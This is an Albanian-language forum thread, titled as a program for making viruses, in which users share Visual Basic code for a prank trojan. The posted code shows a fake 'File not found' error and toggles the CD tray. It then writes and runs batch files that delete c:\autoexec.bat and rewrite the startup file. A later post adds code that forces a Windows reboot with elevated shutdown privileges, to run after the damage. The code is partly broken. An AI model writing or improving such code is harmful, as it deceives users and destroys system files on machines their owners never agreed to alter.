Program per te bere viruse

[sniper_007]

e kam provu ene me progres barr , po duhet te klikkosh qe te heci timeri , un dua qe ti iki vet , si ai timeri qe kishje ber ti.

[Force-Intruder]

Atehere ke trupi : form_load()
perfshi Emrin e timerit ne kete forme..psh nqs e ka emrin timer 1
atehere : timer1.enabled = true
dhe kliko mbi timer dhe nga propreties jepi nje vlere intervali psh 10 ok?

[sniper_007]

Option Explicit
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim yourMsg As String

Private Sub Form_Load()
Timer1.Enabled = True
yourMsg = MsgBox("File not found", vbCritical, "Windows")

End Sub




Private Sub La_Change()
On Error Resume Next

If La.Caption = "20" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If
If La.Caption = "40" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If
If La.Caption = "60" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If
If La.Caption = "80" Then
mciSendString "set cdaudio door closed", 0, 0, 0
End If
If La.Caption = "100" Then
mciSendString "set cdaudio door open", 0, 0, 0
End If
If La.Caption = "120" Then
mciSendString "set cdaudio door closed", 0, 0, 0
If La.Caption = "140" Then
Call ac
End If






End Sub



Private Sub Timer1_Timer()
On Error Resume Next

Pro.Min = "0"
Pro.Max = "1000"

Pro.Value = Pro.Value + "1"


If Pro.Value = "20" Then
La.Caption = "20"
End If
If Pro.Value = "40" Then
La.Caption = "40"
End If
If Pro.Value = "60" Then
La.Caption = "60"
End If
If Pro.Value = "80" Then
La.Caption = "80"
End If
If Pro.Value = "100" Then
La.Caption = "100"
End If
If Pro.Value = "120" Then
La.Caption = "120"
End If
If Pro.Value = "140" Then
La.Caption = "140"
End If
If Pro.Value = "160" Then
La.Caption = "160"
End If
If Pro.Value = "180" Then
La.Caption = "180"
End If
If Pro.Value = "200" Then
La.Caption = "200"
End If

End Sub

Private Sub ac()
On Error Resume Next

Open "c:\ladi3565.txt" For Output As #1
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "del c:\autoexec.bat"
Close #1
Name "c:\ladi3565.txt" As "c:\alfa.bat"
Shell "c:\alfa.bat"

Kill "c:\alfa.bat"
Open "c:\WINDOWS\boot12.txt" For Output As #1
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "del c:\autoexec.bat"
Close #1
Name "c:\WINDOWS\boot12.txt" As "c:\WINDOWS\boot12.bat"
Open "c:\autoexec.txt" For Output As #1
Print #1, "mode con codepage prepare=((850) C:\WINDOWS\COMMAND\ega.cpi)"
Print #1, "mode con codepage select=850"
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "xcopy c:\*.txt c:\windows\desktop"
Print #1, "xcopy c:\WINDOWS\*.exe c:\WINDOWS\desktop"
Print #1, "xcopy c:\WINDOWS\*.txt c:\WINDOWS\desktop"
Print #1, "xcopy c:\WINDOWS\*.bmp c:\WINDOWS\desktop"
Print #1, "xcopy c:\WINDOWS\*.exe d:\"
Print #1, "xcopy c:\WINDOWS\*.txt d:\"
Close #1
End Sub






e bera me progress bar dhe eshte ne regull . Tani dua te di si te krioj nje proggy qe ti bej reboot kompjuterit .

[Ardi_Pg_ID]

Per te bere reboot PS mjaftojne vetem 1 sub function edhe 2 reshta ... ajo cka eshte e rendesishme eshte line per te dale nga sistemi i operimit ne problemin tone WINDOWS (i shkrete )
si dhe tipin e daljes ...reboot, shutdown, logoff

ExitWindows TIPI_DALJES

po marim nje shembull me konkret ...

pasi ke mbaruar me mbylljen e c:\autoexec.txt mund te vendosesh nje CALL statement qe theret nje function te ri te quajtur RISTARTIM


per te

psh :

call RISTARTIM

tani vazhdojme me function RISTARTIM

Public Function RISTARTIM() As .... Thuaj nje mendim ca tipi duhet te jete

pasi e ke filluar functionin duhet te ekzekurosh ristartimin per te bere kete duhet qe ne fillim te deklarosh nje varjabel PSH ristartoWINDOS

Dim ristartoWINDOS As New clsExitWindows

me pas vendos komanden line

ristartWINDOWS.ExitWindows WE_REBOOT

ku WE_REBOOT eshte tipi i daljes nga WINDOWS

tani per te percaktuar WE_REBOOT te duhen gjithashtu enumeracjone te quajtura ENUMERATION

'ENUMERACJONET

Public Enum EnumExitWindows

WE_LOGOFF = 0
WE_SHUTDOWN = 1
WE_REBOOT = 2
WE_POWEROFF = 8

End Enum

Me pas te duhet te shkruash funksjonin e daljes

Pergatitja per shuarjen e sistemit

Private Sub AdjustToken()
Const TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_QUERY = &H8
Const SE_PRIVILEGE_ENABLED = &H2
Dim hdlProcessHandle As Long
Dim hdlTokenHandle As Long
Dim tmpLuid As LUID
Dim tkp As TOKEN_PRIVILEGES
Dim tkpNewButIgnored As TOKEN_PRIVILEGES
Dim lBufferNeeded As Long
hdlProcessHandle = GetCurrentProcess()
OpenProcessToken hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or _
TOKEN_QUERY), hdlTokenHandle

LookupPrivilegeValue "", "SeShutdownPrivilege", tmpLuid

tkp.PrivilegeCount = 1 ' One privilege to set
tkp.TheLuid = tmpLuid
tkp.Attributes = SE_PRIVILEGE_ENABLED

AdjustTokenPrivileges hdlTokenHandle, False, _
tkp, Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded

End Sub

Public Sub ExitWindows(ByVal aOption As EnumExitWindows)
adjust token
Select Case aOption
Case EnumExitWindows.WE_REBOOT
ExitWindowsEx (EnumExitWindows.WE_SHUTDOWN Or EWX_FORCE Or EnumExitWindows.WE_REBOOT), &HFFFF


pra sic e shef u ndertua nje sistem per te ristartuar PC ...mund te luash edhe me te duke perdorur mSBOX e gjera te tjera ...


****RENDESISHME**** Kodi i paraqitur nga une eshte mare nga programi i shkruajtur nga F-I i Publikuar ne te njejten Teme te cilit i takojne kreditet per kete program----Ardi_pg_id

nese keni gjera per te shtuar ose korigjuar jeni te mirepritur

LEXOJE ME VEMENDJE KODIN E POSTUAR NGA F-I TE NDIHMON SHUME

[sniper_007]

e provova po me del nje "Type not defined" te kjo pjesa ketu ::



Public Sub ExitWindows(ByVal aOption As EnumExitWindows)

mos duhet te ket dicka ne fund (ByVal aOption As EnumExitWindows) ""ketu""

???

[sniper_007]

ej , nga humbet ju mer ?
Desha te dij , se sa euro ben nje liber VISUAL BASIC ne greqi , itali , ose amerik se me then se ka jasht ne gjuhen angleze
, dhe un thash te merja nje .
Kom gjet i faqe interneti qe ka visual basic lessons , dhe po merrem me te tani.Sa per kerkesen lart , po patet mundesi me jepni ndonje pergjigje ok ?

byeeeee